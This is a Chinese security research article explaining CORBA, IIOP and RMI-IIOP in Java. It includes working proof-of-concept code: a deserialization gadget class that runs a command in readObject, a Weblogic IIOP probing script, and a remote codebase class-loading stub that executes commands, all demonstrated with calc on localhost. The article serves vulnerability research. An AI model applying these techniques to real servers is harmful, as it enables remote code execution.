10

关于Java中的RMI-IIOP

 4 years ago
source link: https://www.freebuf.com/geek/224262.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在写完 《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)》 的时候,又看到一个包含RMI-IIOP的 议题 [1],在16年 Blackhat JNDI注入议题 [2]中也提到了这个协议的利用,当时想着没太看到或听说有多少关于IIOP的漏洞(可能事实真的如此吧,在下面Weblogic RMI-IIOP部分或许能感受到),所以那篇文章写作过程中也没去看之前那个16年议题IIOP相关部分。网上没怎么看到有关于IIOP或RMI-IIOP的分析文章,这篇文章来感受下。

环境说明

文中的测试代码放到了 github

测试代码的JDK版本在文中会具体说明,有的代码会被重复使用,对应的JDK版本需要自己切换

RMI-IIOP

在阅读下面内容之前,可以先阅读下以下几个链接的内容,包含了一些基本的概念留个印象:

https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html [3]

https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html [4]

https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738 [5]

Java IDL是一种用于分布式对象的技术,即对象在网络上的不同平台上进行交互。Java IDL使对象能够进行交互,而不管它们是以Java编程语言还是C,C ++,COBOL或其他语言编写的。这是可能的,因为Java IDL基于通用对象请求代理体系结构(CORBA),即行业标准的分布式对象模型。CORBA的主要功能是IDL,一种与语言无关的接口定义语言。每种支持CORBA的语言都有自己的IDL映射-顾名思义,Java IDL支持Java映射。为了支持单独程序中对象之间的交互,Java IDL提供了一个对象请求代理或ORB(Object Request Broker)。ORB是一个类库,可在Java IDL应用程序与其他符合CORBA的应用程序之间进行低层级的通信。

CORBA,Common ObjectRequest Broker Architecture(公共对象请求代理体系结构),是由OMG组织制订的一种标准的面向对象应用程序体系规范。CORBA使用接口定义语言(IDL),用于指定对象提供给外部的接口。然后,CORBA指定从IDL到特定实现语言(如Java)的映射。CORBA规范规定应有一个对象请求代理(ORB),通过该对象应用程序与其他对象进行交互。通用InterORB协议(GIOP)摘要协议的创建是为了允许ORB间的通信,并提供了几种具体的协议,包括Internet InterORB协议(IIOP),它是GIOP的实现,可用于Internet,并提供GIOP消息和TCP/IP层之间的映射。

IIOP,Internet Inter-ORB Protocol(互联网内部对象请求代理协议),它是一个用于CORBA 2.0及兼容平台上的协议;用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)。

CORBA-IIOP远程调用

在CORBA客户端和服务器之间进行远程调用模型如下:

B3mEzuY.jpg

在客户端,应用程序包含远程对象的引用,对象引用具有存根方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。

在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。

在ORB之间,通信通过共享协议IIOP进行。基于标准TCP/IP Internet协议的IIOP定义了兼容CORBA的ORB如何来回传递信息。

编写一个Java CORBA IIOP远程调用步骤:

 1.使用idl定义远程接口
 2.使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
 3.编写服务端代码
 4.编写客户端代码
 5.依次启动命名服务->服务端->客户端

好了,用代码感受下( github 找到一份现成的代码可以直接用,不过做了一些修改):

1、2步骤作者已经帮我们生成好了,生成的代码在 EchoApp 目录

服务端:

//服务端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //创建并初始化ORB            ORB orb = ORB.init(args, null);
            //获取根POA的引用并激活POAManager            POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
            rootpoa.the_POAManager().activate();
            //创建servant            EchoImpl echoImpl = new EchoImpl();
            //获取与servant关联的对象引用            org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);
            Echo echoRef = EchoHelper.narrow(ref);
            //为所有CORBA ORB定义字符串"NameService"。当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            NameComponent path[] = ncRef.to_name("ECHO-SERVER");
            ncRef.rebind(path, echoRef);
            System.out.println("Server ready and waiting...");
            //等待客户端调用            orb.run();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

客户端:

//客户端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //创建并初始化ORB            ORB orb = ORB.init(args, null);
            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));
            String hello = href.echoString();
            System.out.println(hello);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}//使用Jndi查询客户端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient {
    /**
     * 列出所有远程对象名
     */
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
        //列出所有远程对象名        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        System.out.println("-----------call remote method--------------");
        Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));
        System.out.println(echoRef.echoString());
    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客户端使用了两种方式,一种是COSNaming查询,另一种是Jndi查询,两种方式都可以,在jdk1.8.0_181测试通过。

首先启动一个命名服务器(可以理解为rmi的registry),使用ordb启动如下,orbd默认自带(如果你有jdk环境的话):

BNfYZ3Q.jpg!web

然后启动服务端corba-iiop/src/main/java/com/longofo/example/Server.java,在启动corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。

这里看下JndiClient的结果:

> Listing namespace: > Looking up name: ECHO-SERVER{
    "ECHO-SERVER":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    }}-----------call remote method--------------Hello World!!!

注意到那个class不是没有获取到原本的EchoImpl类对应的Stub class,而我们之前rmi测试也用过这个list查询,那时候是能查询到远程对象对应的stub类名的。这可能是因为Corba的实现机制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl是一个通用的Corba对象类,而上面的narrow调用EchoHelper.narrow就是一种将对象变窄的方式转换为Echo Stub对象,然后才能调用echoString方法,并且每一个远程对象的调用都要使用它对应的xxxHelper。

下面是Corba客户端与服务端通信包:

3e6Nfai.jpg!web

第1、2个包是客户端与ordb通信的包,后面就是客户端与服务端通信的包。可以看到第二个数据包的IOR(Interoperable Object Reference)中包含着服务端的ip、port等信息,意思就是客户端先从ordb获取服务端的信息,然后接着与服务端通信。同时这些数据中也没有平常所说的ac ed 00 05 标志,但是其实反序列化的数据被包装了,在后面的RMI-IIOP中有一个例子会进行说明。

IOR几个关键字段:

 Type ID:接口类型,也称为存储库ID格式。本质上,存储库ID是接口的唯一标识符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0
 IIOP version:描述由ORB实现的IIOP版本
 Host:标识ORB主机的TCP/IP地址
 Port:指定ORB在其中侦听客户端请求的TCP/IP端口号
 Object Key:唯一地标识了被ORB导出的servant
 Components:包含适用于对象方法的附加信息的序列,例如支持的ORB服务和专有协议支持等
 Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类,在后面利用中我们能够看到。

只使用Corba进行远程调用很麻烦,要编写IDL文件,然后手动生成对应的类文件,同时还有一些其他限制,然后就有了RMI-IIOP,结合了Corba、RMI的优点。

RMI-IIOP远程调用

编写一个RMI IIOP远程调用步骤:

 1.定义远程接口类
 2.编写实现类
 3.编写服务端
 4.编写客户端
 5.编译代码并为服务端与客户端生成对应的使用类

下面直接给出一种恶意利用的demo场景。

服务端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            //实例化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服务中发布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客户端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //从命名服务获取引用            Object objRef = initialContext.lookup("HelloService");
            //narrow引用为具体的对象            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage();
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

假设在服务端中存在EvilMessage这个能进行恶意利用的类,在客户端中编写同样包名类名相同的类,并继承HelloInterface.sayHello(Message msg)方法中Message类:

package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message {
    private void readObject(ObjectInputStream s) {
        try {
            s.defaultReadObject();
            Runtime.getRuntime().exec("calc");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

先编译好上面的代码,然后生成服务端与客户端进行远程调用的代理类:

rmic -iiop com.longofo.example.HelloImpl

执行完成后,在下面生成了两个类(Tie用于服务端,Stub用于客户端):

yY7vieZ.jpg!web

启动一个命名服务器:

orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

启动服务端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再启动客户端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到计算器弹出,在JDK 1.8.1_181测试通过。

服务端调用栈如下:

YZJJjeb.jpg!web

注意那个_HelloImpl_Tie.read_value,这是在19年BlackHat议题 “An-Far-Sides-Of-Java-Remote-Protocols” [1]提到的,如果直接看那个pdf中关于RMI-IIOP的内容,可能会一脸懵逼,因为议题中没有上面这些前置信息,有了上面这些信息,再去看那个议题的内容可能会轻松些。通过调用栈我们也能看到,IIOP通信中的某些数据被还原成了CDRInputStream,这是InputStream的子类,而被包装的数据在下面Stub data这里:

ruyeQnU.jpg!web

最后通过反射调用到了EvilMessage的readObject,看到这里其实就清楚一些了。不过事实可能会有些残酷,不然为什么关于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP来感受下。

Weblogic中的RMI-IIOP

Weblogic默认是开启了iiop协议的,如果是上面这样的话,看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。

直接用代码测试吧(利用的Weblogic自带的JDK 1.6.0_29测试):

import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");
        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        Object objRef = initialContext.lookup("ejb/mgmt/MEJB");
        ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);
        managementHome.remove(new Object());//这里只是测试能否成功调用到remove方法,如果能成功调用,Object按照上面RMI-IIOP那种方式恶意利用    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

list查询结果如下:

> Listing namespace: > Looking up name: weblogic
> Listing namespace: > Looking up name: ejb
> Listing namespace: > Looking up name: mgmt
> Listing namespace: > Looking up name: MEJB
> Looking up name: javax
> Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{
    "ejb":{
        "mgmt":{
            "MEJB":{
                "interfaces":[],
                "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
            },
            "interfaces":["javax.naming.Context"],
            "class":"com.sun.jndi.cosnaming.CNCtx"
        },
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "javax":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "mejbmejb_jarMejb_EO":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    },
    "weblogic":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    }}

这些远程对象的名称和通过默认的rmi://协议查询的结果是一样的,只是class和interfaces不同。

但是到managementHome.remove就报错了,managementHome为null。在上面RMI-IIOP的测试中,客户端要调用远程需要用到客户端的Stub类,去查找了下ejb/mgmt/MEJB对应的实现类weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl,他有一个Stub类为weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub,但是这个Stub类是为默认的RMI JRMP方式生成的,并没有为IIOP调用生成客户端与服务端类,只是绑定了一个名称。

通过一些查找,每一个IIOP远程对象对应的Tie类和Stub类都会有一个特征:

yqAzAbU.jpg!web

根据这个特征,在Weblogic中确实有很多这种已经为IIOP调用生成的客户端Stub类,例如_MBeanHomeImpl_Stub类,是MBeanHomeImpl客户端的Stub类:

RBZjI37.jpg!web

一个很尴尬的事情就是,Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了。

刚才调用失败了,来看下没有成功调用的通信:

j6FNVbf.jpg!web

在COSNaming查询包之后,服务端返回了type_ip为RMI:javax.management.j2ee.ManagementHome:0000000000000000的标志,

然后下一个包又继续了一个_is_a查询:

Jbu6Bjv.jpg!web

下一个包就返回了type_id not match:

3uyuQfR.jpg!web

可以猜测的是服务端没有生成IIOP对应的服务端与客户端类,然后命名服务器中找不到关于的RMI:javax.management.j2ee.ManagementHome:0000000000000000标记,通过查找也确实没有找到对应的类。

不过上面这种利用方式只是在代码层调用遵守了Corba IIOP的一些规范,规规矩矩的调用,在协议层能不能通过替换、修改等操作进行构造与利用,能力有限,未深入研究IIOP通信过程。

在今年的那个议题RMI-IIOP部分,给出了Websphere一个拦截器类TxServerInterceptor中使用到read_any方法的情况,从这个名字中可以看出是一个拦截器,所以基本上所有请求都会经过这里。这里最终也调用到read_value,就像上面的_HelloImpl_Tie.read_value一样,这里也能进行可以利用,只要目标服务器存在可利用的链,作者也给出了一些Websphere中的利用链。可以看到,不只是在远程调用中会存在恶意利用的地方,在其他地方也可能以另一种方式存在,不过在方法调用链中核心的几个地方依然没有变,CDRInputStream与read_value,可能手动去找这些特征很累甚至可能根本找不到,那么庞大的代码量,不过要是有所有的方法调用链,例如GatgetInspector那种工具,之前 初步分析 过这个工具。这是后面的打算了,目标是自由的编写自己的控制逻辑。

JNDI中的利用

在JNDI利用中有多种的利用方式,而RMI-IIOP只是默认RMI利用方式(通过JRMP传输)的替代品,在RMI默认利用方式无法利用时,可以考虑用这种方式。但是这种方式依然会受到SecurityManager的限制。

在RMI-IIOP测试代码中,我把client与server放在了一起,客户端与服务端使用的Tie与Stub也放在了一起,可能会感到迷惑。那下面我们就单独把Client拿出来进行测试以及看下远程加载。

服务端代码还是使用RMI-IIOP中的Server,但是加了一个codebase:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //实例化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服务中发布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

Client代码在新建的 rmi-iiop-test-client 模块,这样模块之间不会受到影响,Client代码如下:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());
            RMISecurityManager securityManager = new RMISecurityManager();
            System.setSecurityManager(securityManager);
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //从命名服务获取引用            initialContext.lookup("HelloService");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

然后我在remote-class模块增加了一个com.longofo.example._HelloInterface_Stub:

package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub {
    static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }}

启动远程类服务remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再启动rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然后运行客户端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可弹出计算器。在JDK 1.8.0_181测试通过。

至于为什么进行了远程调用,在CDRInputStream_1_0.read_object下个断点,然后跟踪就会明白了,最后还是利用了rmi的远程加载功能:

BNvyErm.jpg!web

总结

遗憾就是没有成功在Weblogic中利用到RMI-IIOP,在这里写出来提供一些思路,如果大家有关于RMI-IIOP的其他发现与想法也记得分享下。不知道大家有没有关于RMI-IIOP比较好的真实案例。

参考

1. https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

2. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

3. https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html

4. https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html

5. https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738

原文: https://paper.seebug.org/1105/

*本文作者:Longofo@知道创宇404实验室,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK